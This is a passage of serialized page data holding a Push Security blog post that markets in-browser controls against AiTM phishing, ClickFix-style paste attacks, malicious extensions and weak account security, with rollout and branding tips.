malicious instructions to enter a code onto a legitimate page to complete your login.",{"data":18636,"content":18637,"nodeType":1577},{},[18638],{"data":18639,"content":18640,"nodeType":866},{},[18641,18645,18651],{"data":18642,"marks":18643,"value":18644,"nodeType":865},{},[],"AiTM phishing, OAuth consent phishing, ",{"data":18646,"content":18647,"nodeType":889},{"uri":2169},[18648],{"data":18649,"marks":18650,"value":6117,"nodeType":865},{},[],{"data":18652,"marks":18653,"value":1066,"nodeType":865},{},[],{"data":18655,"content":18656,"nodeType":1563},{},[18657,18667],{"data":18658,"content":18659,"nodeType":1577},{},[18660],{"data":18661,"content":18662,"nodeType":866},{},[18663],{"data":18664,"marks":18665,"value":18666,"nodeType":865},{},[],"Know which instructions to follow and which are malicious when verifying that you're human on a CAPTCHA-style page.",{"data":18668,"content":18669,"nodeType":1577},{},[18670],{"data":18671,"content":18672,"nodeType":866},{},[18673,18676,18682,18686,18692],{"data":18674,"marks":18675,"value":21,"nodeType":865},{},[],{"data":18677,"content":18678,"nodeType":889},{"uri":5953},[18679],{"data":18680,"marks":18681,"value":315,"nodeType":865},{},[],{"data":18683,"marks":18684,"value":18685,"nodeType":865},{},[],"-style attacks that trick the user into running a malicious script or command, or ",{"data":18687,"content":18688,"nodeType":889},{"uri":2096},[18689],{"data":18690,"marks":18691,"value":2101,"nodeType":865},{},[],{"data":18693,"marks":18694,"value":18695,"nodeType":865},{},[]," (which is even sneakier and simply involves copying a URL).",{"data":18697,"content":18698,"nodeType":866},{},[18699,18703],{"data":18700,"marks":18701,"value":18702,"nodeType":865},{},[],"And we're barely scratching the surface here. ",{"data":18704,"marks":18705,"value":18707,"nodeType":865},{},[18706],{"type":935},"Easy, right?",{"data":18709,"content":18710,"nodeType":1229},{},[18711],{"data":18712,"marks":18713,"value":18715,"nodeType":865},{},[18714],{"type":935},"Can't we block users from interacting with bad content? ",{"data":18717,"content":18718,"nodeType":866},{},[18719],{"data":18720,"marks":18721,"value":18722,"nodeType":865},{},[],"So if you can’t train your way out of these problems, what about locking down and blocking your way out of the problem?",{"data":18724,"content":18725,"nodeType":866},{},[18726],{"data":18727,"marks":18728,"value":18729,"nodeType":865},{},[],"This, too, simply isn’t really feasible. ",{"data":18731,"content":18732,"nodeType":866},{},[18733],{"data":18734,"marks":18735,"value":18736,"nodeType":865},{},[],"Modern cloud-first adversaries routinely rotate domains on malicious pages; use trusted services like SharePoint, Adobe, Google Sites, Cloudflare, and Atlassian to deliver lures; target end-users across multiple channels, including social media, forums, chat platforms, Google search results, email, and webpages; and use legitimate security tools like bot protection to bypass detection by other legitimate security tools, such as web content scanning and analysis solutions.",{"data":18738,"content":18739,"nodeType":866},{},[18740,18744,18748,18753],{"data":18741,"marks":18742,"value":18743,"nodeType":865},{},[],"To safely navigate the internet today, y",{"data":18745,"marks":18746,"value":18747,"nodeType":865},{},[],"ou need to be able to spot malicious pages and content ",{"data":18749,"marks":18750,"value":18752,"nodeType":865},{},[18751],{"type":935},"the first time they're seen in the wild",{"data":18754,"marks":18755,"value":18756,"nodeType":865},{},[],". If you're relying on indicators of known bad, you're always a step behind, leaving users exposed.",{"data":18758,"content":18762,"nodeType":921},{"target":18759},{"sys":18760},{"id":18761,"type":918,"linkType":919},"3ZfqOLRdJZJIc78rj9E9JZ",[],{"data":18764,"content":18765,"nodeType":866},{},[18766],{"data":18767,"marks":18768,"value":18769,"nodeType":865},{},[],"To protect users while they work online, you need a purpose-built security tool that can respond in real time to modern TTPs and guide users securely — without introducing extra work or a lot of friction. Push can help with that.",{"data":18771,"content":18772,"nodeType":944},{},[],{"data":18774,"content":18775,"nodeType":953},{},[18776],{"data":18777,"marks":18778,"value":18780,"nodeType":865},{},[18779],{"type":935},"Why in-browser controls?",{"data":18782,"content":18783,"nodeType":866},{},[18784],{"data":18785,"marks":18786,"value":18787,"nodeType":865},{},[],"Simply put, using in-browser security controls gets you the closest to the user and their work in order to protect them from modern browser-based threats. Adding in-browser controls also solves two tricky problems for security teams: ",{"data":18789,"content":18790,"nodeType":2374},{},[18791,18806],{"data":18792,"content":18793,"nodeType":2309},{},[18794],{"data":18795,"content":18796,"nodeType":866},{},[18797,18802],{"data":18798,"marks":18799,"value":18801,"nodeType":865},{},[18800],{"type":935},"Filling the gap between solution layers",{"data":18803,"marks":18804,"value":18805,"nodeType":865},{},[]," in order to detect and block attack methods like Adversary-in-the-Middle phishing, malicious browser extensions, and ClickFix-style social engineering attacks that other tools miss.",{"data":18807,"content":18808,"nodeType":2309},{},[18809],{"data":18810,"content":18811,"nodeType":866},{},[18812,18817],{"data":18813,"marks":18814,"value":18816,"nodeType":865},{},[18815],{"type":935},"Providing just-in-time security enforcement",{"data":18818,"marks":18819,"value":18820,"nodeType":865},{},[]," to end-users when it’s the right moment to act on that guidance, reducing your attack surface across your online apps, browser extensions, and accounts, and ensuring your app usage policies are followed.",{"data":18822,"content":18823,"nodeType":1229},{},[18824],{"data":18825,"marks":18826,"value":18827,"nodeType":865},{},[],"Fill the gap between solution layers",{"data":18829,"content":18830,"nodeType":866},{},[18831,18835,18840],{"data":18832,"marks":18833,"value":18834,"nodeType":865},{},[],"Most existing security solutions operate just ",{"data":18836,"marks":18837,"value":18839,"nodeType":865},{},[18838],{"type":965},"outside",{"data":18841,"marks":18842,"value":18843,"nodeType":865},{},[]," the context of a user interacting with a webpage. This leaves blind spots that attackers are exploiting between layers of security tooling.",{"data":18845,"content":18846,"nodeType":866},{},[18847,18851,18861],{"data":18848,"marks":18849,"value":18850,"nodeType":865},{},[],"For example, network proxies see HTTP requests, URLs, and page headers, but not the ",{"data":18852,"content":18856,"nodeType":11114},{"target":18853},{"sys":18854},{"id":18855,"type":918,"linkType":919},"5caCcGCqMMPm5KlwUv0sbz",[18857],{"data":18858,"marks":18859,"value":18860,"nodeType":865},{},[],"structural elements",{"data":18862,"marks":18863,"value":18864,"nodeType":865},{},[]," of the DOM or on-page user interactions that are key to fingerprinting the behavior of AiTM phishing kits or ClickFix-style social engineering attacks. ",{"data":18866,"content":18867,"nodeType":866},{},[18868,18872,18882,18886,18896],{"data":18869,"marks":18870,"value":18871,"nodeType":865},{},[],"Similarly, ",{"data":18873,"content":18877,"nodeType":11114},{"target":18874},{"sys":18875},{"id":18876,"type":918,"linkType":919},"6YWYKGESlyUKQxvhKmBzeH",[18878],{"data":18879,"marks":18880,"value":18881,"nodeType":865},{},[],"EDR tools",{"data":18883,"marks":18884,"value":18885,"nodeType":865},{},[]," only see the bad thing when it hits the endpoint, and many ",{"data":18887,"content":18891,"nodeType":11114},{"target":18888},{"sys":18889},{"id":18890,"type":918,"linkType":919},"2k2aDK5dyQKlQBrk66pMXE",[18892],{"data":18893,"marks":18894,"value":18895,"nodeType":865},{},[],"cloud security tools",{"data":18897,"marks":18898,"value":18899,"nodeType":865},{},[]," rely on complex policy configurations across a core set of apps to provide security protection — leaving a gap in detection and response capabilities outside their purview.",{"data":18901,"content":18905,"nodeType":921},{"target":18902},{"sys":18903},{"id":18904,"type":918,"linkType":919},"50NyBpr96dKspvTzJTBOlC",[],{"data":18907,"content":18908,"nodeType":1229},{},[18909],{"data":18910,"marks":18911,"value":18912,"nodeType":865},{},[],"Provide just-in-time security enforcement",{"data":18914,"content":18915,"nodeType":866},{},[18916,18920,18928],{"data":18917,"marks":18918,"value":18919,"nodeType":865},{},[],"As some of our customers like to say, Push provides security teams with a ",{"data":18921,"content":18923,"nodeType":889},{"uri":18922},"/customer-stories/upvest",[18924],{"data":18925,"marks":18926,"value":18927,"nodeType":865},{},[],"“seat on the user’s side”",{"data":18929,"marks":18930,"value":18931,"nodeType":865},{},[]," of the equation so you can enforce security best practices.",{"data":18933,"content":18934,"nodeType":866},{},[18935],{"data":18936,"marks":18937,"value":18938,"nodeType":865},{},[],"Having that seat on the user’s side also helps you deliver guidance in the right context for it to be followed: When the user is engaged in doing the behavior you want to influence (or prevent). The right information, at the right time, in the right format — not a belated reminder through a different channel that’s easy to ignore.",{"data":18940,"content":18941,"nodeType":866},{},[18942],{"data":18943,"marks":18944,"value":18945,"nodeType":865},{},[],"With those outcomes in mind, let’s look at some specific solutions from the Push platform.",{"data":18947,"content":18948,"nodeType":944},{},[],{"data":18950,"content":18951,"nodeType":953},{},[18952],{"data":18953,"marks":18954,"value":18956,"nodeType":865},{},[18955],{"type":935},"How Push helps you protect users from browser-based ATO, ClickFix, and similar attacks",{"data":18958,"content":18959,"nodeType":866},{},[18960],{"data":18961,"marks":18962,"value":18963,"nodeType":865},{},[],"The Push platform provides out-of-the-box detections for browser-based attacks, including:",{"data":18965,"content":18966,"nodeType":2374},{},[18967,18990,19013,19034],{"data":18968,"content":18969,"nodeType":2309},{},[18970],{"data":18971,"content":18972,"nodeType":866},{},[18973,18976,18986],{"data":18974,"marks":18975,"value":21,"nodeType":865},{},[],{"data":18977,"content":18981,"nodeType":11114},{"target":18978},{"sys":18979},{"id":18980,"type":918,"linkType":919},"7KRnTSnJAbbiho69gNyN0B",[18982],{"data":18983,"marks":18984,"value":18985,"nodeType":865},{},[],"AiTM phishing kits",{"data":18987,"marks":18988,"value":18989,"nodeType":865},{},[]," that can bypass MFA",{"data":18991,"content":18992,"nodeType":2309},{},[18993],{"data":18994,"content":18995,"nodeType":866},{},[18996,18999,19009],{"data":18997,"marks":18998,"value":21,"nodeType":865},{},[],{"data":19000,"content":19004,"nodeType":11114},{"target":19001},{"sys":19002},{"id":19003,"type":918,"linkType":919},"jN3GN5ddMJZiDtl0fgUVd",[19005],{"data":19006,"marks":19007,"value":19008,"nodeType":865},{},[],"Cloned login pages",{"data":19010,"marks":19011,"value":19012,"nodeType":865},{},[]," designed to steal user credentials",{"data":19014,"content":19015,"nodeType":2309},{},[19016],{"data":19017,"content":19018,"nodeType":866},{},[19019,19022,19031],{"data":19020,"marks":19021,"value":21,"nodeType":865},{},[],{"data":19023,"content":19027,"nodeType":11114},{"target":19024},{"sys":19025},{"id":19026,"type":918,"linkType":919},"5NyiWgjMDwk16XZ0S681JK",[19028],{"data":19029,"marks":19030,"value":699,"nodeType":865},{},[],{"data":19032,"marks":19033,"value":21,"nodeType":865},{},[],{"data":19035,"content":19036,"nodeType":2309},{},[19037],{"data":19038,"content":19039,"nodeType":866},{},[19040,19043,19053],{"data":19041,"marks":19042,"value":21,"nodeType":865},{},[],{"data":19044,"content":19048,"nodeType":11114},{"target":19045},{"sys":19046},{"id":19047,"type":918,"linkType":919},"7jygmadjoz0asAHv7e5PuK",[19049],{"data":19050,"marks":19051,"value":19052,"nodeType":865},{},[],"Malicious copy and paste attacks",{"data":19054,"marks":19055,"value":19056,"nodeType":865},{},[]," like ClickFix, FileFix, and similar",{"data":19058,"content":19059,"nodeType":866},{},[19060],{"data":19061,"marks":19062,"value":19063,"nodeType":865},{},[],"For each of these attack vectors, Push delivers detection events and associated metadata for quick triage by the security team, as well as employee-facing warn or block screens, based on your selected configuration.",{"data":19065,"content":19066,"nodeType":866},{},[19067],{"data":19068,"marks":19069,"value":19070,"nodeType":865},{},[],"Here’s a snapshot of the capabilities of these controls and what end-users will experience.",{"data":19072,"content":19073,"nodeType":1229},{},[19074],{"data":19075,"marks":19076,"value":19078,"nodeType":865},{},[19077],{"type":935},"The scenario:",{"data":19080,"content":19081,"nodeType":866},{},[19082],{"data":19083,"marks":19084,"value":19085,"nodeType":865},{},[],"When a user encounters a malicious page — whether that’s an AiTM phishing tool running on a webpage, or a ClickFix-style attack — or attempts to install a malicious extension, Push immediately steps in. ",{"data":19087,"content":19088,"nodeType":866},{},[19089],{"data":19090,"marks":19091,"value":19092,"nodeType":865},{},[],"Push can prevent users from entering their credentials on phishing pages, including cloned login pages, or from pasting malicious clipboard contents that can run malware on their device. Push can also prevent users from installing known-bad browser extensions. ",{"data":19094,"content":19095,"nodeType":866},{},[19096],{"data":19097,"marks":19098,"value":19099,"nodeType":865},{},[],"In each of these scenarios, Push admins get detailed detection information they can use to triage the incident.",{"data":19101,"content":19104,"nodeType":921},{"target":19102},{"sys":19103},{"id":11427,"type":918,"linkType":919},[],{"data":19106,"content":19107,"nodeType":1229},{},[19108],{"data":19109,"marks":19110,"value":19112,"nodeType":865},{},[19111],{"type":935},"How it works:",{"data":19114,"content":19115,"nodeType":866},{},[19116],{"data":19117,"marks":19118,"value":19119,"nodeType":865},{},[],"Rather than relying on known-bad intelligence like domains or URLs, Push performs a behavioral and structural analysis of malicious pages in real time.",{"data":19121,"content":19122,"nodeType":866},{},[19123],{"data":19124,"marks":19125,"value":19126,"nodeType":865},{},[],"That means a phishing page never has to appear in a threat intelligence feed in order to be detected and blocked.",{"data":19128,"content":19129,"nodeType":866},{},[19130],{"data":19131,"marks":19132,"value":19133,"nodeType":865},{},[],"Similarly, for malicious copy and paste attacks like ClickFix, Push analyzes the content copied to the clipboard but also evaluates the context of the page to reduce false positives. In blocking mode, Push’s control for ClickFix-style attacks replaces the malicious clipboard contents with safe text — preventing potential endpoint compromise before it can occur.",{"data":19135,"content":19139,"nodeType":921},{"target":19136},{"sys":19137},{"id":19138,"type":918,"linkType":919},"3OkejjEjV9xflBc5ouOVFn",[],{"data":19141,"content":19142,"nodeType":866},{},[19143],{"data":19144,"marks":19145,"value":19146,"nodeType":865},{},[],"Finally, for identifying malicious browser extensions, Push takes a slightly different approach — combining both behavioral detections and curated intelligence of known-bad extensions from our own research and from trusted industry sources. We’ve found this combination provides the highest-fidelity way to identify malicious extensions without relying on approaches like analyzing extension permissions, which often isn’t actionable. ",{"data":19148,"content":19149,"nodeType":1229},{},[19150],{"data":19151,"marks":19152,"value":19154,"nodeType":865},{},[19153],{"type":935},"Your security team gets:",{"data":19156,"content":19157,"nodeType":866},{},[19158,19162,19170],{"data":19159,"marks":19160,"value":19161,"nodeType":865},{},[],"Readymade detection and alerting, combined with detailed telemetry. Detections and their associated metadata can be consumed via ",{"data":19163,"content":19165,"nodeType":889},{"uri":19164},"/help/audience/administrators/docs/getting-started/#api-and-webhooks",[19166],{"data":19167,"marks":19168,"value":19169,"nodeType":865},{},[],"Push’s REST API and webhooks",{"data":19171,"marks":19172,"value":4835,"nodeType":865},{},[],{"data":19174,"content":19175,"nodeType":1229},{},[19176],{"data":19177,"marks":19178,"value":19180,"nodeType":865},{},[19179],{"type":935},"Your end-users see:",{"data":19182,"content":19183,"nodeType":866},{},[19184],{"data":19185,"marks":19186,"value":19187,"nodeType":865},{},[],"An immediate block screen in your company colors and brand style, providing a highly memorable, contextual moment of learning — and reassuring them that an incident has been prevented.",{"data":19189,"content":19193,"nodeType":921},{"target":19190},{"sys":19191},{"id":19192,"type":918,"linkType":919},"4QfjDDfKjohKr1qqDLRT0m",[],{"data":19195,"content":19196,"nodeType":944},{},[],{"data":19198,"content":19199,"nodeType":953},{},[19200],{"data":19201,"marks":19202,"value":19204,"nodeType":865},{},[19203],{"type":935},"How Push helps you remediate account vulnerabilities at scale",{"data":19206,"content":19207,"nodeType":866},{},[19208],{"data":19209,"marks":19210,"value":19211,"nodeType":865},{},[],"Just-in-time security enforcement works best when it’s trustworthy and contextual — without making a lot more work for your team. Push also provides readymade controls for remediating common account vulnerabilities that contribute to your attack surface online, helping you harden existing accounts and reduce behaviors that introduce new risks.",{"data":19213,"content":19214,"nodeType":866},{},[19215],{"data":19216,"marks":19217,"value":19218,"nodeType":865},{},[],"With Push, you can:",{"data":19220,"content":19221,"nodeType":2374},{},[19222,19245,19283,19307],{"data":19223,"content":19224,"nodeType":2309},{},[19225],{"data":19226,"content":19227,"nodeType":866},{},[19228,19231,19241],{"data":19229,"marks":19230,"value":21,"nodeType":865},{},[],{"data":19232,"content":19236,"nodeType":11114},{"target":19233},{"sys":19234},{"id":19235,"type":918,"linkType":919},"6FYHbkcRUrtznPo7RarRsz",[19237],{"data":19238,"marks":19239,"value":19240,"nodeType":865},{},[],"Prevent the phishing or reuse of high-value passwords",{"data":19242,"marks":19243,"value":19244,"nodeType":865},{},[],", like your IdP, AWS, or code repository passwords.",{"data":19246,"content":19247,"nodeType":2309},{},[19248],{"data":19249,"content":19250,"nodeType":866},{},[19251,19255,19265,19269,19279],{"data":19252,"marks":19253,"value":19254,"nodeType":865},{},[],"Remediate ",{"data":19256,"content":19260,"nodeType":11114},{"target":19257},{"sys":19258},{"id":19259,"type":918,"linkType":919},"2WAc5HflKonFN7Jc53ROgj",[19261],{"data":19262,"marks":19263,"value":19264,"nodeType":865},{},[],"missing MFA",{"data":19266,"marks":19267,"value":19268,"nodeType":865},{},[]," or ",{"data":19270,"content":19274,"nodeType":11114},{"target":19271},{"sys":19272},{"id":19273,"type":918,"linkType":919},"2dAP36chda6ZDGKzw0Itfs",[19275],{"data":19276,"marks":19277,"value":19278,"nodeType":865},{},[],"insecure passwords",{"data":19280,"marks":19281,"value":19282,"nodeType":865},{},[]," on any work app, even those not managed by your SSO solution.",{"data":19284,"content":19285,"nodeType":2309},{},[19286],{"data":19287,"content":19288,"nodeType":866},{},[19289,19293,19303],{"data":19290,"marks":19291,"value":19292,"nodeType":865},{},[],"Use ",{"data":19294,"content":19298,"nodeType":11114},{"target":19295},{"sys":19296},{"id":19297,"type":918,"linkType":919},"2ZpKnuljaUH0jzVaae4SMN",[19299],{"data":19300,"marks":19301,"value":19302,"nodeType":865},{},[],"in-browser banners",{"data":19304,"marks":19305,"value":19306,"nodeType":865},{},[]," to add guardrails to app usage, including blocking unapproved SaaS or collecting a business reason to access an app before approving it.",{"data":19308,"content":19309,"nodeType":2309},{},[19310],{"data":19311,"content":19312,"nodeType":866},{},[19313,19316,19326],{"data":19314,"marks":19315,"value":21,"nodeType":865},{},[],{"data":19317,"content":19321,"nodeType":11114},{"target":19318},{"sys":19319},{"id":19320,"type":918,"linkType":919},"3ibVBa6u0XfcXXDVtON5th",[19322],{"data":19323,"marks":19324,"value":19325,"nodeType":865},{},[],"Block unwanted or unapproved browser extensions",{"data":19327,"marks":19328,"value":19329,"nodeType":865},{},[]," from being installed, or disable them if they’ve been installed previously.",{"data":19331,"content":19332,"nodeType":866},{},[19333],{"data":19334,"marks":19335,"value":19070,"nodeType":865},{},[],{"data":19337,"content":19338,"nodeType":1229},{},[19339],{"data":19340,"marks":19341,"value":19078,"nodeType":865},{},[19342],{"type":935},{"data":19344,"content":19345,"nodeType":866},{},[19346],{"data":19347,"marks":19348,"value":19349,"nodeType":865},{},[],"Push uses in-browser controls to intervene when a user is missing MFA; reusing a high-value password; using an insecure password; attempting to log in to an unapproved app; or attempting to install a blocked extension. ",{"data":19351,"content":19352,"nodeType":866},{},[19353],{"data":19354,"marks":19355,"value":19356,"nodeType":865},{},[],"Push can block users from reusing passwords set as “protected” (meaning they can’t be reused on any other page or app) or from using unapproved apps or extensions. Push can guide users to update their password or register for MFA on accounts where they lack it. Push can also provide any other specific security or policy guidance to employees via banners that appear on apps in your environment, including GenAI apps. ",{"data":19358,"content":19359,"nodeType":866},{},[19360],{"data":19361,"marks":19362,"value":19363,"nodeType":865},{},[],"For all of these scenarios, you can tune Push controls to your preferred mode (informing vs. blocking, for example) and select which employees, employee groups, and apps or accounts to focus on.",{"data":19365,"content":19366,"nodeType":866},{},[19367],{"data":19368,"marks":19369,"value":19370,"nodeType":865},{},[],"You can also customize the message that employees see, to match your organizational culture and policies.",{"data":19372,"content":19373,"nodeType":1229},{},[19374],{"data":19375,"marks":19376,"value":19378,"nodeType":865},{},[19377],{"type":935},"How it works: ",{"data":19380,"content":19381,"nodeType":866},{},[19382],{"data":19383,"marks":19384,"value":19385,"nodeType":865},{},[],"The Push browser agent observes real-time user behavior and securely analyzes users’ account vulnerabilities in order to identify risks and execute your preconfigured controls. ",{"data":19387,"content":19388,"nodeType":866},{},[19389],{"data":19390,"marks":19391,"value":19392,"nodeType":865},{},[],"To identify MFA status, Push uses the app’s own API to query the logged-in user’s registered MFA methods. To analyze password security, Push creates a salted, truncated hash that is stored locally in the user’s browser and then used for comparison to find reused passwords, leaked passwords, and shared passwords. ",{"data":19394,"content":19395,"nodeType":866},{},[19396,19400,19405,19408,19413],{"data":19397,"marks":19398,"value":19399,"nodeType":865},{},[],"Using the ",{"data":19401,"marks":19402,"value":19404,"nodeType":865},{},[19403],{"type":935},"MFA enforcement",{"data":19406,"marks":19407,"value":1182,"nodeType":865},{},[],{"data":19409,"marks":19410,"value":19412,"nodeType":865},{},[19411],{"type":935},"Strong password enforcement",{"data":19414,"marks":19415,"value":19416,"nodeType":865},{},[]," controls, you can then automatically display a banner to users with those account vulnerabilities, guiding them to fix the issue.",{"data":19418,"content":19422,"nodeType":921},{"target":19419},{"sys":19420},{"id":19421,"type":918,"linkType":919},"7Ka4CumZk9it6GsdlNHREA",[],{"data":19424,"content":19425,"nodeType":866},{},[19426,19430,19435],{"data":19427,"marks":19428,"value":19429,"nodeType":865},{},[],"Using Push’s ",{"data":19431,"marks":19432,"value":19434,"nodeType":865},{},[19433],{"type":935},"Password protection",{"data":19436,"marks":19437,"value":19438,"nodeType":865},{},[]," control, you can select apps where you want to essentially “pin” the high-value password to only that app and prevent its reuse (or phishing) on any other domain. ",{"data":19440,"content":19441,"nodeType":866},{},[19442,19445,19450],{"data":19443,"marks":19444,"value":19429,"nodeType":865},{},[],{"data":19446,"marks":19447,"value":19449,"nodeType":865},{},[19448],{"type":935},"Browser extension blocking",{"data":19451,"marks":19452,"value":19453,"nodeType":865},{},[]," control, you can create a blocklist or allowlist of extensions and prevent users from installing or enabling blocked extensions.",{"data":19455,"content":19456,"nodeType":866},{},[19457,19461,19466],{"data":19458,"marks":19459,"value":19460,"nodeType":865},{},[],"Finally, using Push’s ",{"data":19462,"marks":19463,"value":19465,"nodeType":865},{},[19464],{"type":935},"App banners",{"data":19467,"marks":19468,"value":19469,"nodeType":865},{},[]," feature, you can add custom messages in a range of modes — from informing to blocking — to apps in use across your business, or even specific URL patterns.",{"data":19471,"content":19475,"nodeType":921},{"target":19472},{"sys":19473},{"id":19474,"type":918,"linkType":919},"5Mq4PEzEhW8p1qLvS9aZMm",[],{"data":19477,"content":19478,"nodeType":1229},{},[19479],{"data":19480,"marks":19481,"value":19483,"nodeType":865},{},[19482],{"type":935},"Your security team gets: ",{"data":19485,"content":19486,"nodeType":866},{},[19487],{"data":19488,"marks":19489,"value":19490,"nodeType":865},{},[],"A flexible and highly configurable set of controls to solve account vulnerabilities at scale and to enforce your security controls around browser extensions and app usage.",{"data":19492,"content":19493,"nodeType":1229},{},[19494],{"data":19495,"marks":19496,"value":19498,"nodeType":865},{},[19497],{"type":935},"Your end-users see: ",{"data":19500,"content":19501,"nodeType":866},{},[19502],{"data":19503,"marks":19504,"value":19505,"nodeType":865},{},[],"Contextual, actionable guidance in the midst of their actual workflow, helping them fix the issue or guiding them to safety.",{"data":19507,"content":19508,"nodeType":944},{},[],{"data":19510,"content":19511,"nodeType":953},{},[19512],{"data":19513,"marks":19514,"value":19516,"nodeType":865},{},[19515],{"type":935},"Implementation tips",{"data":19518,"content":19519,"nodeType":866},{},[19520],{"data":19521,"marks":19522,"value":19523,"nodeType":865},{},[],"Push allows you to set the scope and mode of each control, making it simple to roll out. ",{"data":19525,"content":19526,"nodeType":866},{},[19527,19531,19536,19540,19544,19548,19553],{"data":19528,"marks":19529,"value":19530,"nodeType":865},{},[],"We recommend starting in ",{"data":19532,"marks":19533,"value":19535,"nodeType":865},{},[19534],{"type":935},"Monitor",{"data":19537,"marks":19538,"value":19539,"nodeType":865},{},[]," mode for controls that intervene in end-user activities. That way, you can perform testing with sample malicious sites or scenarios like reused protected passwords, tune out any benign true positives, and develop the messaging you want to use on warn or block pages. (For controls without an explicit monitor mode, like ",{"data":19541,"marks":19542,"value":19412,"nodeType":865},{},[19543],{"type":935},{"data":19545,"marks":19546,"value":19547,"nodeType":865},{},[],", you can still monitor for related events on the ",{"data":19549,"marks":19550,"value":19552,"nodeType":865},{},[19551],{"type":935},"Events",{"data":19554,"marks":19555,"value":19556,"nodeType":865},{},[]," page, such as account security findings, or by consuming webhooks into a downstream tool.)",{"data":19558,"content":19562,"nodeType":921},{"target":19559},{"sys":19560},{"id":19561,"type":918,"linkType":919},"7vk8DHv01cM1o2C0ZpAvZu",[],{"data":19564,"content":19565,"nodeType":866},{},[19566,19570,19575,19578,19583],{"data":19567,"marks":19568,"value":19569,"nodeType":865},{},[],"When you’re ready, set the mode to ",{"data":19571,"marks":19572,"value":19574,"nodeType":865},{},[19573],{"type":935},"Warn",{"data":19576,"marks":19577,"value":19268,"nodeType":865},{},[],{"data":19579,"marks":19580,"value":19582,"nodeType":865},{},[19581],{"type":935},"Block",{"data":19584,"marks":19585,"value":19586,"nodeType":865},{},[]," and use the scope options to perform a phased rollout to your user population by adding additional user groups to the control until you have complete coverage of your population.",{"data":19588,"content":19589,"nodeType":866},{},[19590],{"data":19591,"marks":19592,"value":19593,"nodeType":865},{},[],"By consuming webhook events into your SIEM, you can integrate Push alerts into your existing security workflows, monitoring for new detections or tracking when account vulnerabilities are resolved.",{"data":19595,"content":19596,"nodeType":944},{},[],{"data":19598,"content":19599,"nodeType":953},{},[19600],{"data":19601,"marks":19602,"value":19604,"nodeType":865},{},[19603],{"type":935},"Enhancing user trust with custom branding",{"data":19606,"content":19607,"nodeType":866},{},[19608],{"data":19609,"marks":19610,"value":19611,"nodeType":865},{},[],"We recently released the option to customize the look and feel of all employee-facing banners and block pages. ",{"data":19613,"content":19614,"nodeType":866},{},[19615,19619,19624],{"data":19616,"marks":19617,"value":19618,"nodeType":865},{},[],"From the ",{"data":19620,"marks":19621,"value":19623,"nodeType":865},{},[19622],{"type":935},"Settings",{"data":19625,"marks":19626,"value":19627,"nodeType":865},{},[]," page in the Push admin console, you can upload your logo, add accent colors, and choose from light or dark backgrounds.",{"data":19629,"content":19633,"nodeType":921},{"target":19630},{"sys":19631},{"id":19632,"type":918,"linkType":919},"51lk1VRP20G7H4PAoRZANI",[],{"data":19635,"content":19636,"nodeType":866},{},[19637],{"data":19638,"marks":19639,"value":19640,"nodeType":865},{},[],"Custom branding increases the trustworthiness of these in-the-moment security guardrails so that users recognize them immediately and act on their guidance.",{"data":19642,"content":19643,"nodeType":866},{},[19644],{"data":19645,"marks":19646,"value":19647,"nodeType":865},{},[],"The result: Better compliance and lower friction for you and your employees.",{"data":19649,"content":19650,"nodeType":944},{},[],{"data":19652,"content":19653,"nodeType":953},{},[19654],{"data":19655,"marks":19656,"value":5589,"nodeType":865},{},[19657],{"type":935},{"data":19659,"content":19660,"nodeType":866},{},[19661,19665,19672],{"data":19662,"marks":19663,"value":19664,"nodeType":865},{},[],"Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — ",{"data":19666,"content":19667,"nodeType":889},{"uri":152},[19668],{"data":19669,"marks":19670,"value":19671,"nodeType":865},{},[],"modern attack techniques",{"data":19673,"marks":19674,"value":19675,"nodeType":865},{},[]," that are the leading cause of breaches today.",{"data":19677,"content":19678,"nodeType":866},{},[19679],{"data":19680,"marks":19681,"value":19682,"nodeType":865},{},[],"You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":19684,"content":19685,"nodeType":866},{},[19686,19690,19698,19702,19710,19714,19720],{"data":19687,"marks":19688,"value":19689,"nodeType":865},{},[],"Want to learn more about Push? Check out our latest ",{"data":19691,"content":19693,"nodeType":889},{"uri":19692},"/resources/product-brochure",[19694],{"data":19695,"marks":19696,"value":19697,"nodeType":865},{},[],"product overview",{"data":19699,"marks":19700,"value":19701,"nodeType":865},{},[],", visit our ",{"data":19703,"content":19705,"nodeType":889},{"uri":19704},"/product-demo/",[19706],{"data":19707,"marks":19708,"value":19709,"nodeType":865},{},[],"demo library",{"data":19711,"marks":19712,"value":19713,"nodeType":865},{},[],", or book some time with one of our team for a ",{"data":19715,"content":19716,"nodeType":889},{"uri":12015},[19717],{"data":19718,"marks":19719,"value":2649,"nodeType":865},{},[],{"data":19721,"marks":19722,"value":1066,"nodeType":865},{},[],{"entries":19724},{"inline":19725,"hyperlink":19726,"block":19787},[],[19727,19729,19733,19737,19741,19747,19752,19757,19762,19767,19772,19777,19782],{"sys":19728,"__typename":1802,"title":12043,"slug":12044},{"id":11336},{"sys":19730,"__typename":1802,"title":19731,"slug":19732},{"id":18855},"Push + Network Security: The gap between seeing the packet and securing the session","push-plus-network-security",{"sys":19734,"__typename":1802,"title":19735,"slug":19736},{"id":18876},"Push + Endpoint Security: Extending detection and response to the browser","push-plus-endpoint-security",{"sys":19738,"__typename":1802,"title":19739,"slug":19740},{"id":18890},"Push + Cloud Security: What do you do when bad looks normal?","push-plus-cloud-security",{"sys":19742,"__typename":19743,"title":19744,"slug":19745,"articleId":19746},{"id":18980},"HelpArticle","Can I use Push to detect phishing tools like Evilginx, Modlishka, NakedPages, or Muraena?","can-i-use-push-to-detect-phishing-tools-like-evilnovnc-and-evilginx",10113,{"sys":19748,"__typename":19743,"title":19749,"slug":19750,"articleId":19751},{"id":19003},"How does Push detect cloned login pages?","how-does-push-detect-cloned-login-pages",10117,{"sys":19753,"__typename":19743,"title":19754,"slug":19755,"articleId":19756},{"id":19026},"How does Push detect malicious browser extensions?","how-does-push-detect-malicious-browser-extensions",10148,{"sys":19758,"__typename":19743,"title":19759,"slug":19760,"articleId":19761},{"id":19047},"How does Push detect attacks like ClickFix and FileFix?","how-does-push-detect-attacks-like-clickfix-and-filefix",10141,{"sys":19763,"__typename":19743,"title":19764,"slug":19765,"articleId":19766},{"id":19235},"How does Push protect passwords from being reused or phished?","how-does-push-detect-and-prevent-phishing-attacks",10109,{"sys":19768,"__typename":19743,"title":19769,"slug":19770,"articleId":19771},{"id":19259},"How does MFA enforcement 